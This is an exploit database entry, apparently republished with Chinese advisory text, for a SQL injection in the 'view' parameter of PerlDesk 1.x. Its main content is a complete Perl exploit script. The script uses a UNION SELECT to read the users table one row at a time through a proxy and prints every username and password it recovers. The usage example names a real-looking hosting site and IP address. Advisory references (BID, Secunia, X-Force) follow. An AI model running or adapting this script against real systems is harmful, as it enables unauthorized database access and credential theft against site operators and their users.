https://www.exploit-db.com/exploits/790
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200505-236

PerlDesk1.x存在SQL注入漏洞，远程攻击者可以通过view参数执行任意SQL命令。

#!/usr/bin/perl

# Example:
# kb.cgi?view=0 UNION SELECT 1,3,password,username,3,7 FROM users

# Exploit is attached.
# ./pde.pl www.internethosting4u.com /perldesk/kb.cgi 148.244.150.58:80

use IO::Socket;

print '
########################################################
# PerlDesk exploit
#
# Usage: ./pdsploit.pl host path proxy
#
#
#
# Vunerability discovered by
#
# deluxe89 and Astovidatu [ www.security-project.org ]
#
#
#
# Special thanks to doc and WebDoctor´s
#
########################################################

';

if($#ARGV != 2)
{
       exit;
}

$host = $ARGV[0];
$path = $ARGV[1];
$proxy = $ARGV[2];
($addr, $port) = split(/:/, $proxy);

$offset = 0;

while(1)
{
       $value =
"view=0%20UNION%20SELECT%20'0','0',CONCAT('_P',password,'P_'),CONCAT('_U',username,'U_'),'0','0'%20FROM%20users%20LIMIT%20$offset,1";

       $socket = IO::Socket::INET->new(Proto => "tcp",
PeerAddr => $addr, PeerPort => $port) || die "[-]
Proxy doesn't workn";
       print $socket "GET http://$host$path?$value
HTTP/1.1nHost: $hostnn";

       $user = '';
       $pass = '';
       while(defined(my $data = <$socket>))
       {
               if($data =~ m/_P(.*)P_/)
               {
                       $pass = $1;
               }
               if($data =~ m/_U(.*)U_/)
               {
                       $user = $1;
               }
       }

       if($user ne '' && $pass ne '')
       {
               print "$user:$passn";
       }
       else
       {
               die "[+] Finishedn";
       }

       $offset++;
}

# code by deluxe89 [ www.security-project.org ]

# milw0rm.com [2005-02-05]

来源:BID
名称:12471
链接:http://www.securityfocus.com/bid/12471
来源:SECUNIA
名称:12512
链接:http://secunia.com/advisories/12512
来源:XF
名称:perldesk-view-sql-injection(19245)
链接:http://xforce.iss.net/xforce/xfdb/19245
来源:MISC
链接:http://www.security-project.org/projects/board/showthread.php?p=5172#post5172
来源:BUGTRAQ
名称:20050207[SeProBugtraq]SQL-InjectioninPerlDesk1.x
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110782042532295&w;=2